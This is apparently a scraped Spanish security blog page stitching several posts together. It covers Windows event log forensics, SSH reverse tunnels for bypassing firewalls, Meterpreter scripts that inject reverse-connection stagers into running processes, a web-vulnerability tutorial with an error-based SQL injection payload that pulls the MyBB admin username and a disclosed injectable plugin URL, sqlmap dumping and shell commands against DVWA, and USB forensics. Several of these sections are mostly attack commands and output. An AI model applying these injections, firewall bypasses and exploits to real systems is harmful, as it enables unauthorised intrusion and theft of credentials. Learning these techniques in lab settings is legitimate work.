Banner 1

Forensic Windows Event Logs

0 comentarios
Windows XP is no longer supported by Microsoft, but there are still XP and 2003 systems out there, and as such, some of us are still going to need to know the difference between Event Logs (XP, 2003), and Windows Event Logs (Vista+).

Besides the binary differences in the records and Event Log files themselves, on XP/2003, there were three main Event Log files; System, Application, and Security.  On my Windows 7 system, a 'dir' of the winevt\Logs folder reports 143 files.  So, there is a LOT of information being recorded by default on a Windows 7 system; while not all of it may be useful to you, there is a great deal of information that can be extracted from the logs when used properly.

When I released Windows Forensic Toolkit 4/e, one of the things included in the additional materials is a batch file, wevtx.bat.  What the batch file does is use LogParser to parse a directory full of .evtx files, and then parse those entries into TLN format for inclusion in a timeline.  The tool evtxparse.exe, used by the batch file, makes use of a mapping file (i.e., eventmap.txt) to map event source/ID pairs to an artifact category tag.  As such, when the entry in written to a timeline, records such as "Microsoft-Windows-Security-Auditing/4624" are prepended with an appropriate tag (i.e., "[Logon]"), based on the artifact category.

I really love this tool!  What I like about it is that it's easy to update (eventmap.txt is just a text file), I can add comments to it to show the source of the information I used to map an event record to something specific, and it acts as a fantastic little repository for all of my past experiences.  Not only is it a great repository, but it's incorporated right into the tools that I use on just about every engagement.

Here are some of the event source/ID pairs that I've found to be useful during investigations, for such things as malware detection, determining the window of compromise, etc.  I'll say up front that these records are not 100% infallible, and may not have extremely high fidelity (some do, others don't...), but they've worked quite well for me at one time or another, so I'll share them here.

Microsoft-Windows-DNS-Client/1014 – DNS name resolution timeout; I've used this one more than once to help demonstrate that malware was on a system, even in the face of anti-forensics techniques (time stomping the malware files, deleting the malware files, etc.). It's not a 100%, infallible indicator, but it's worked for me more than once.  What has also helped is when this event record was seen; in a timeline, I could see that it occurred shortly after a user logged into a laptop, and before the user connected the system to a WAP.  This helped me narrow down the persistence mechanism for the malware.

Microsoft-Windows-Security-Auditing/4720 - user account created; because the bad guys do this from time to time.

McLogEvent/257 – McAfee malware detection - McAfee AV may detect malware behaviors (i.e., run from a Temp folder, etc.) without actually detecting the EXE itself.  This can be very valuable in helping you determine how malware got onto a system.  Also, the AV product may be configured to warn only, and take no, correlate the event records (UTC) to the entries in the McAfee logs (local system time)

Microsoft-Windows-Windows Defender/3004 – Windows Defender malware detection

Service Control Manager/7045 – A service was installed on the system

Service Control Manager/7030 – A service is configured to interact with the desktop

Microsoft-Windows-TaskScheduler/106 - New Scheduled Task registration

Beyond individual event records (source/ID pairs), one of the aspects of the newer versions of Windows (in particular, Windows 7) is that there are a lot of events that are being recorded by default, across multiple Event Log files.  What I mean is that when some events occur, multiple event records are recorded, often across different Event Log files.  For example, when a user logs into a system at the console, there will be an event recorded in the Security Event Log, a couple in the Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx log, and a couple of events will also be recorded in the Microsoft-Windows-TaskScheduler/Operational.evtx log.  Alone, each of these individual events may get little attention from an analyst, but when placed together in a timeline, they leave an indelible mark indicating that a user logged into the system.

Now, what's really great about this is that some of the Event Logs "roll over" faster than others.  As such, some of the source/ID pairs that are part of an indicator cluster may have been expired from their respective Event Logs.  However, the remaining source/ID pairs in the cluster will still provide a very good indicator that that event in question took place.  This is particular useful for infrequent events, and I've used this information more than once to demonstrate repeated activity going back weeks and even months prior to what was thought to be the date of interest.

Event auditing is one of those things that just happens in the background on Windows systems.  This is great, because sometimes Event Log records can help us determine if anti-forensics techniques have been employed.  For example, using Event Log records, you can determine if someone has changed the system time.

During an exam, I found that a system had been infected with malware that installed as a Windows service, and during the installation process, the .exe file had been time-stomped.  Fortunately, when the malicious service was installed, an event source/ID pair of "Service Control Manager/7045" was created, indicating that a new service had been installed on the system.  I was able to correlate that information with other sources (MFT, etc.) to better determine the correct time of when the malicious .exe was created on the system, and nail down the infection vector.

If you need to carve Windows Event Log records, for any reason...from unallocated space, memory, the pagefile, whatever...the tool to use is Willi Ballentin's EVTXtract. The "tool" is really a set of Python scripts that you run consecutively against the data in order to recover Windows Event Log records.  I've used these scripts a couple of times, and even had a fellow team member use them on an engagement and quite literally recover the "smoking gun".

When carving for deleted records on a Windows XP or 2003 system, I use a custom Perl script that I wrote that's based on some of the code I've released with my books.

When all this is said and done, a blog post on just individual Windows Event Log records isn't really all that valuable.  Yes, I've created timelines from just a handful of *.evtx files, for use in triage, etc.  This has proved to be extremely valuable to me.

WindowsIR: Timeline Analysis
SANS Reading Room: Detecting Security Events Using Windows Workstation Event Logs
NSA: Spotting the Adversary with Windows Event Log Monitoring


Si la vida tuviera terminal (Humor)

0 comentarios
Si la vida pudiera ser manejada desde una terminal linux, abría muchas cosas que podríamos hacer sin tanto problema.
por ejemplo:

¿ No encuentras tus llaves?  tranquilo mira

ls  | grep llaves
Listo aquí estan.

o si tu auto no enciende

chmod +x tsuru_negro

Y prende al llavaso.

Si tu madre te tiene harto pidiéndote que limpies tu habitación. !Fácil!

Todo limpio en un santiamén.

¿tienes que mudarte de casa? pffff pan comido

mv /home/darkspark/* /newhome/darkspark/ 
listo y sin cargar nada !bitch¡

¿Llego tu madre mientras estabas viendo tu colección de porno?  ¡no ay problema!

mv porno* ~/bajo_mi_cama/.porno*
 y todo el porno se iría bajo la cama, y aunque se asomaran por debajo, quedaría oculto. Genial¿no?. Aun que si realmente tu madre no supiera ya, donde escondes tu porno bastaría con que hiciera un

ls -la
Insisto, solo si realmente tu madre no supiera donde la escondes.

¿O si un ladrón quiere robarte tu auto?

chown ladron:lacras tsuru_negro 
y aunque lo agarráramos infraganti

sudo chown ladron:lacras tsuru_negro
 ¡Vale madre! ni las manitas podríamos meter.

!Y cualquiera podría multiplicar la comida como Jesús con un script super simple¡

for ($i=0;$i<=10000;$i++){cat pescado > pecado.$i;}

!BOOM¡ Chingo de pescado para todos. Lo del convertir el agua en vino si estaría mas cabron, pero bueno debe haber una forma... ¿no?

y para los que quisieran suicidarse por que creen que no ay vida mas allá de windows



Saltar firewall con ssh

0 comentarios
Para los que no lo sepan SSH (openSSH para ser mas específicos) es una utilidad que nos permite gestionar una maquina *nix de manera remota, la gestión se realiza vía linea de comandos, pero como sabrán la mayoría de los entendidos en este tema, con un acceso a consola es mas que suficiente.
En ocasiones dependiendo de la funcionalidad que deseemos implementar es necesario que tengamos abierto puertos para algún servicio ya sea un servidor web, DNS, impresión ,etc. Pero en ocasiones esas posibilidades no se encuentran a nuestro alcance ya que simplemente o nuestro ISP nos tiene dentro de un NAT gigante (muchas cableras) o nuestros Modem/Router vienen capado de fabrica para que los mismos no se puedan tocar a nuestro antojo, y por ende poder abrir los puertos que requerimos.

SSH en un túnel Reverso

Como bien sabremos SSH tiene diversas funcionalidades entre las cuales destacan :forwardeo de puertos, ejecución de programas por medio del gestor X11, etc. Pero una de las mas interesantes a mi parecer y que en un sinfín de ocasiones me ha sacado de apuros es el túnel reverso. Esta funcionalidad nos da la posibilidad de redireccionar puertos hacia nosotros pudiendo así hacer bypass de cualquier firewall, haciendo una analogía es como hace muchos a~nos se realizaban infecciones con troyanos reversos.
A continuación ampliaremos mas el tema:
Regularmente una conexión SSH se realiza de la siguiente manera:
Cliente SSH ———> Servidor SSH
Como podremos observar en una conexión SSH tradicional el cliente SSH es el que realiza la conexión hacia el servidor y es así como se establece la conexión. Ahora bien, es importante considerar que para que esta conexión exista es necesario que en el servidor se tenga abierto el puerto de SSH.
En el esquema de conexión de túnel SSH reverso la conexión es hacia nosotros, para ello se ejemplificara mejor con la siguiente imagen:
Servidor A —–> Servidor C (pasarela) <——-> Servidor B
Donde imaginemos que A es el servidor donde tenemos una aplicación corriendo (un servidor web por ejemplo), C es un servidor que ocuparemos como pasarela y B sera el servidor donde requerimos ver el servidor web del servidor A.
En un esquema de funcionamiento tradicional tan solo bastaría con abrir el puerto web en el firewall del Servidor A para que el servidor B pudiera acceder de forma ordinaria al web server, pero imaginemos que por restricciones del Sysadmin, simplemente esto no es posible. Aquí es donde entra el SSH reverso. El servidor A se conectara por medio de un túnel reverso SSH al servidor C y de ahí con un cliente SSH nos conectaremos del servidor B al servidor C, para poder acceder al webserver de A.
A continuación algunos ejemplos didácticos para hacer mas comprensible esta metodología de funcionamiento.

Ver el WebService escuchando en el puerto 80 del Servidor A en el navegador del Servidor B

Servidor A < ————-> Servidor B
ssh usuario@servdorA -L 80:localhost:80
Esto lo que hará es redireccionar el puerto 80 del servidor A hacia el puerto 80 del servidor B

Túnel Reverso del servidor A al servidor C, para que el servidor B pueda acceder a la consola SSH del servidor A.

Consola servidor A:
ssh usuario@servidorC -N -R 2222:localhost:22
-N Es una opción para que el servidor A NO PUEDA ejecutar comandos en la consola del servidor C
-R indica que es un túnel reverso.
22 Es el puerto donde esta escuchando el demonio SSH del servidor A
2222 Es el puerto donde se mandara el puerto SSH del servidor A en el servidor C
Consola Servidor B:
ssh usuario@servidorC
Después de esto una vez dentro del servidor C, tan solo nos restara hacer una conexión SSH a nuestro localhost en el puerto antes forwardeadado:
Consola servidor B:
ssh usuario@localhost -p 2222
-p indica el puerto al cual deseamos conectarnos
2222 Es el puerto donde se forwardeo el puerto del servidor A

Lo mas interesante de esto es que al ser el túnel SSH una conexión saliente la misma no es bloqueda por el firewall, esto es algo que he probado en diversas instituciones tanto publicas como privadas y en ninguna me han bloqueado la salida de mi tunel SSH. Esto en teoría podría prevenirse con un IDS bien configurado, pero siendo honestos, es algo que nadie se toma muy en cuenta.

NOTA: a día de hoy esta funcionalidad solo la he probado en puertos TCP


Manipulación de Memoria sobre una maquina comprometida utilizando Meterpreter

0 comentarios
Meterpreter es bastante robusto a la hora de manipular la memoria de una víctima y los procesos cargados en ella, este nivel de potencia es alcanzado gracias a la definición de scripts meterpreter escritos en Ruby, ya que le permite al desarrollador crearlos y desplegarlos en metasploit o utilizar algunos existentes para diversos fines. En entradas anteriores se ha indicado el uso de algunos de estos scripts y herramientas adicionales como Volatility FrameWork y PMDump, en esta ocasión, se indicará el uso de algunos scripts adicionales para manipular la memoria de una victima determinada.


Este script intentará crear una conexión reversa en la memoria de uno o muchos PID’s especificados por parámetro, en el caso de que estos PID no sean indicados, se iniciará por defecto un nuevo proceso con notepad.exe. Una de las principales ventajas de este script es que se pueden especificar múltiples host y multiples PID’s para crear el stager de meterpreter, esto significa que la sesión meterpreter creada, puede “replicarse” a otras maquinas en las que el atacante también tendrá un payload meterpreter esperando a la conexión del stager.
En resumen, el atacante tendrá la posibilidad de crear tantas sesiones meterpreter contra la maquina comprometida como maquinas disponga y cada una de estas sesiones será “insertada” en un proceso que se encuentra en ejecución en la maquina comprometida.
meterpreter > run multi_meter_inject -h Meterpreter Script for injecting a reverce tcp Meterpreter Payloadin to memory of multiple PIDs, if none is provided a notepad process.will be created and a Meterpreter Payload will be injected in to each.
-h Help menu.
-m Start Exploit multi/handler for return connection
-mp Provide Multiple PID for connections separated by comma one per IP.
-mr Provide Multiple IP Addresses for Connections separated by comma.
-p The port on the remote host where Metasploit is listening (default: 4444)
-pt Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp
Un ejemplo de ejecución de este script puede ser el siguiente:
meterpreter > run multi_meter_inject -mr, -p 3344 -mp 628,792 [*] Creating a reverse meterpreter stager: LHOST= LPORT=3344
[*] Injecting meterpreter into process ID 628
[*] Allocated memory at address 0x00d60000, for 290 byte stager
[*] Writing the stager into memory…
[+] Successfully injected Meterpreter in to process: 628
[*] Creating a reverse meterpreter stager: LHOST= LPORT=3344
[*] Injecting meterpreter into process ID 792
[*] Allocated memory at address 0x003e0000, for 290 byte stager
[*] Writing the stager into memory…
[+] Successfully injected Meterpreter in to process: 792
Con el comando anterior, se han creado dos sesiones meterpreter controladas por el atacante en las direcciones y ambas escuchando por el puerto 3344, estas sesiones han sido insertadas en los procesos 628 y 792 respectivamente, cada uno de estos procesos corresponde a un programa en ejecución en la maquina comprometida.


Este script tiene una funcionalidad bastante similar al script multi_meter_inject ya que se encarga de replicar la sesión meterpreter en otro proceso del sistema operativo con el fin de que sea difícil cerrar el acceso desde la maquina atacada a la maquina del atacante
meterpreter > run duplicate -h OPTIONS:
-D Disable the automatic multi/handler (use with -r to accept on another system)
-P Process id to inject into; use instead of -e if multiple copies of one executable are running.
-e Executable to inject into. Default notepad.exe, will fall back to spawn if not found.
-h This help menu
-p The port on the remote host where Metasploit is listening (default: 4546)
-r The IP of a remote Metasploit listening for the connect back
-s Spawn new executable to inject to. Only useful with -P.
-w Write and execute an exe instead of injecting into a process
A modo de ejemplo, este script puede ser ejecutado con los siguientes parámetros
meterpreter > run duplicate -r -p 4444 [*] Creating a reverse meterpreter stager: LHOST= LPORT=4444
[*] Running payload handler
[*] Current server process: sgiByfbLo.exe (1780)
[*] Duplicating into notepad.exe…
[*] Injecting meterpreter into process ID 3884
[*] Allocated memory at address 0x00e10000, for 290 byte stager
[*] Writing the stager into memory…
[*] New server process: 3884
Con la maquina controlada por el atacante en el puerto 4444 recibirá el stager correspondiente a la sesión meterpreter replicada.


En una entrada anterior se ha indicado el uso de pmdump para realizar un volcado de memoria usando un script de meterpreter externo al framework, con este comando se puede llevar a cabo esta misma tarea, solamente que en lugar de utilizar pmdump se utiliza memdump sobre el proceso seleccionado
meterpreter > run process_memdump -h USAGE:
EXAMPLE: run process_dump putty.exe
EXAMPLE: run process_dump -p 1234
-h Help menu.
-n Name of process to dump.
-p PID of process to dump.
-q Query the size of the Process that would be dump in bytes.
-r Text file wih list of process names to dump memory for, one per line.
-t toggle location information in dump.
Un ejemplo del uso de este script puede ser:
meterpreter > run process_memdump -p 556 [*] Dumping memory for iexplore.exe
[*] Dumping Memory of iexplore.exe with PID: 556
[*] base size = 64
[*] base size = 128
[*] base size = 192
[*] base size = 1224
[*] base size = 1228
[*] base size = 1280
[*] base size = 1344
[*] base size = 2368
[*] base size = 2432
[*] base size = 2496
[*] Saving Dumped Memory to /root/.msf3/logs/scripts/proc_memdump/


Encontrando 0-days en Aplicaciones Webs

0 comentarios

¿Por qué utilizar un entorno de Auditoria?

Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.
Esto no es preferible, ya que hay una posibilidad muy alta de que falten cosas y seguramente tomará mucho más tiempo que mediante el uso de un entorno de Auditoria.

Web Server:

Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.
Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.

¿Que es lo que vamos a Auditar?

Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.

Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.
Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:
Guía de Instalación


User input:

La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.


Un array asociativo de variables pasadas al script actual mediante el método HTTP POST

Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.


Un array asociativo de variables pasadas al script actual a través de cookies HTTP.


$ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.


Una matriz asociativa de artículos subidos al script actual a través del
método HTTP POST.
Posibles Funciones Vulnerables:
Sql Injection:

Ejemplo Vulnerable:
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );

Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.

He aquí algunas funciones comunes que posiblemente sean vulnerables:
  • mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.
  • mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
  • mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.
  • mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.
  • mysql_num_rows - Devuelve el número de filas en el resultado.
  • mysql_result - Obtener datos de resultado.
File Inclusion:
Ejemplo Vulnerable:

$file = $_GET['file'];

  • include()
  • require()

Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).

$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
} else {
echo "There was an error uploading the file, please try again!";

  • $_FILES
Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.
Code Execution:

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");

  • passthru()
  • system()
  • eval()
  • exec()


Editores de Texto:

Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.


Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.

Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:


$header = $_GET['header'];

$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );

Podríamos usar una línea de comandos:
$ grep _GET app.php

$header = $_GET['header'];
$id = $_GET['id'];
Encontrar funciones mysql_*:
grep include app.php
Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos buscar la función include en todas ellas, entonces podríamos hacer algo como esto:
grep include *.php
app2.php: include("headers/$header");
app2.php: include("headers/standard.php");
app3.php: include("headers/$header");
app3.php: include("headers/standard.php");
app.php: include("headers/$header");
app.php: include("headers/standard.php");
Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
grep include *.php -n
app2.php:5: include("headers/$header");
app2.php:9: include("headers/standard.php");
app3.php:5: include("headers/$header");
app3.php:9: include("headers/standard.php");
app.php:5: include("headers/$header");
app.php:9: include("headers/standard.php");

Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:
grep 'SELECT\|FROM' app.php -n

13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );

Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
grep 'sEleCt\|FroM' app.php -n -i
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );

Algunas otras herramientas para auditar archivos php:


Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:
MyBB DyMy User Agent SQL Injection:
Vamos a descargar la aplicación vulnerable y colocarlo en nuestra carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor de texto:
Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
grep "\$_GET" dymy_ua.php -i -n
grep "\$_GET" dymy_ua.php -i -n
grep "mysql_" dymy_ua.php -i -n
grep "include" dymy_ua.php -i -n
Nada util.
¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
function dymy_ua_install()
global $db;

$db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un vistazo a los siguientes documentos para obtener una mejor comprensión de lo que está mal aquí:
Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.
Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las interacciones de bases de datos. Volvamos a la terminal y probar algunas cosas nuevas.
grep "\$db" dymy_ua.php -i -n 
56: global $db;
58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
63: global $db;
65: if($db->field_exists("useragent", "posts"))
75: global $db;
77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
83: global $db;
85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86: $c = $db->fetch_field($q, "count");
87: $db->free_result($q);
95: $db->insert_query("templategroups", $ins);
101: "template" => $db->escape_string(' {$os}'),
106: $db->insert_query("templates", $ins);
111: "template" => $db->escape_string(' {$browser}'),
116: $db->insert_query("templates", $ins);
125: global $db;
127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");
Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:
function dymy_ua_deactivate()
global $db;

$db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'"); // Line 27

require_once MYBB_ROOT."/inc/adminfunctions_templates.php";

function dymy_ua_dh_post_insert(&$data)
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;

function dymy_ua_postbit(&$post)
global $templates;

if(isset($post['browser']) && isset($post['system']) && !empty($post['browser']) && !empty($post['system']) && empty($post['useragent']))
$os = str_ireplace("icon_", "", $post['system']);
$browser = str_ireplace("icon_", "", $post['browser']);
$browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:
function dymy_ua_dh_post_insert(&$data)
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y tratar de analizar estos datos.
Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.
Vamos a ver este lado de nuestro mensaje:
Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:
Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.
Después de algunas pruebas vamos a salir con esta consulta:
' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B)); #
5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection:
La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:
Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:
Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:
Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP Live copie la direccion URL (localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y pega esto en una nueva pestaña.
Ahora ponga un ' después el país:
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1
SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.ufid) WHERE fid5='Belgium'' 
Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:

Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.

Tutorial PHP:
Tutorial MySQL:
Autor: Join7

Análisis forense a dispositivos USB

0 comentarios

Revisando las diapositivas de las presentaciones del SANS DFIR Summit 2014, encontré uno muy bueno relacionado con el análisis forense de dispositivos USB, en este caso usando las nuevas clases de almacenamiento USB como por ejemplo la MTP que usa samsung en su gama media/alta, para ver a manera general su comportamiento podemos observar las siguientes imágenes:

MSC Device in Windows XP

PTP Device in Windows XP

PTP Device in Windows 7

MTP Device in Windows 7
MTP Mounted Partitions


El estudio completo lo pueden obtener en el link de la fuente donde ha desarrollado varios post bien explicados sobre las distintas formas de realizar el estudio forense y la diapositiva del link que dejo a continuación

Se puede descargar del siguiente link -> USB Devices Media Transfer Protocol.


Cómo reparar un Mac, un Linux y un Windows (humor)

0 comentarios
Nos ha llegado por correo electrónico, y cuya fuente original es The Oat Meal, esta divertida historia sobre cuáles son los pasos para reparar un Windows, un Linux y un Mac. Como están en inglés, hemos hecho una rápida traducción al Español que esperamos que os haga tanta gracia como a nosotros, en este sábado festivo.

PASO 1: Llévalo a la Apple Store

¿Eso lo arregló? 
¿No? Procede con el paso 2

PASO 2: Cómprate un nuevo Mac
Deja tu cuenta sin dinero.
Llora en silencio

     PASO 1: Reinicia el equipo

     ¿Eso lo arregló? 
     ¿No? Procede con el paso 2

     PASO 2
     Formatea el disco duro.
     Reinstala Windows.
     Pierde todos tus archivos.
     Llora en silencio.

Aprende a programar en C++. Recompila el kernel. Construye tu propio microprocesador a partir de restos de siliceo que haya a tu alrededor. Recompila el kernel otra vez. Cambia de distribuciones. Recompila el kernel otra vez, pero esta vez usando una CPU alimentada con luz refractada de Saturno. Déjate crecer una barba gigante. Blasfea contra Sun Microsystems. Convierte tu cama en un armario de servidores y pasa 10 años adormilado por el sonido de ventiladores chirriantes. Escribe una expresión regular que haría a otros programadores llorar sangre. Aprende a programar en Java. Recompila el kernel otra vez (pero esta vez con tus calcetines de la suerte puestos).

¿Eso lo arregló? 
¿No? Procede con el paso 2

Da marcha atrás y vuelve a usar Windows o Mac
Llora en silencio

Sqlmap con DVWA (Aprende en entornos controlados)

0 comentarios

El escenario de pruebas

Para probar la herramienta he elegido el entorno de pruebas DVWA (Damn Vulnerable Web Application). 
La instalación del entorno es bastante sencilla y consiste en descargar el ZIP desde su página Web y requerirá que tengamos PHP y MySQL. Tenéis en este enlace un tutorial con el paso a paso de su instalación.
Esta aplicación Web permite seleccionar el nivel de dificultad al que nos queremos enfrentar desde su apartado DVWA Security, de este modo podemos ajustar el retor a un mayor o menor nivel y así ir afinando nuestras habilidades. En nuestro caso la definiremos en nivel medio para las pruebas que queremos realizar con sqlmap:

Reuniendo información antes de ejecutar la prueba

Una vez configurada la aplicación DVWA, veremos que para acceder es necesario rellenar un formulario, los credenciales de acceso son usuario admin y contraseña password:
Si utilizamos un componente como Web Developer Tools en Mozilla podremos ver las cookies que nos ha establecido el servidor Web al iniciar sesión:
Una vez dentro nos dirigiremos a la sección de SQL Injection y a nada que realicemos alguna prueba veremos que este nivel es fácilmente explotable:
Utilizando la técnica de identificación de columnas basada en ORDER BY veremos que la consulta que se está realizando internamente espera 2 columnas:
Ya con el conocimiento del número de columnas podemos intentar la explotación basada en UNION para obtener información por ejemplo del usuario que ejecuta las consultas y la base de datos a la que se conecta:

Continuando la explotación con sqlmap

Llegados a este punto hemos reunido la siguiente información:
  • Tenemos un motor de base de datos MySQL
  • Estamos almacenando las cookies
    • PHPSESSID (gestiona la sesión que tenemos iniciada)
    • security (gestiona el nivel de seguridad configurado en la aplicación)
  • El parámetro id es vulnerable a SQL Injection y se puede explotar utilizando la técnica UNION query
  • La base de datos a la que se conecta la aplicación se llama dvwa
  • El usuario que realiza las consultas SQL es root@localhost
Con toda esta información podemos afinar la explotación utilizando sqlmap y obtener de forma muy rápida el listado de tablas:
Los detalles de este comando son los siguientes:
  • --cookie permite establecer los parámetros y valores que queremos enviar en la cabecera HTTP Cookie
  • -p permite indicar el parámetro sobre el que se quiere testear la inyección
  • --dbms permite establecer el motor de base de datos para evitar pruebas sobre otros motores
  • --technique permite indicar la técnica de explotación: Boolean-based, Error-based, Union, Stacked querys, Time-based. Tenéis más información en su página de man.
  • -D indica la base de datos que queremos analizar
  • --tables para enumerar las tablas
Nota: Como ya conoceréis la potencia de sqlmap imaginaréis que toda esta información que hemos obtenido de forma manual se podría haber conseguido directamente con la herramienta, sin embargo es importante que seamos cuidadosos y en todo momento controlemos las técnicas que empleamos ya que podríamos dejar la aplicación analizada en un estado inconsistente.
El resultado del comando anterior nos devolverá una enumeración de las tablas:
De modo que continuando con el ejercicio, podríamos realizar un dump de la tabla users utilizando el siguiente comando:
Y en este punto también veremos algo interesante de la herramienta, ya que detectará los hashes de las contraseñas que hay en la tabla y nos ofrecerá realizar un ataque basado en diccionario para romperlos:
Dándonos en este caso un resultado perfecto:

Otras pruebas más allá del escenario DVWA

La siguiente prueba de concepto la realizaré sobre una aplicación Web hecha a medida ya que DVWA no es vulnerable a la explotación que voy a mostrar sin embargo algún escenario al que nos enfrentemos sí podría serlo.
Una vez hayamos detectado un parámetro vulnerable a SQL injection y si los permisos del motor de base de datos y el sistema de ficheros no están bien configurados podríamos incluso llegar a conseguir una shell con el siguiente comando:
Nos solicitará algo de información adicional con el fin de crear la sentencia SQL que nos devolverá una shell:
Seguir este proceso nos devolverá la shell:
Y por ir finalizando la cantidad de posibilidades que nos ofrece la herramienta, no olvidemos que podemos integrarla con nuestra instalación de Tor utilizando el siguiente comando:

Evadiendo Filtros de Mac y descubriendo SSID ocultos

0 comentarios

En este caso veremos como descubrir redes ocultas que esta técnica se usa para asegurar un poco mas nuestra red inalambrica, mediante el SSID oculto hacemos que nuestro accespoint no envié su nombre por lo cual pasara oculto a los dispositivos que busquen conectarse a una red, pero en este caso veremos como esta medida no es del 100% segura ya que no es nada difícil descubrir estos puntos de acceso ocultos..

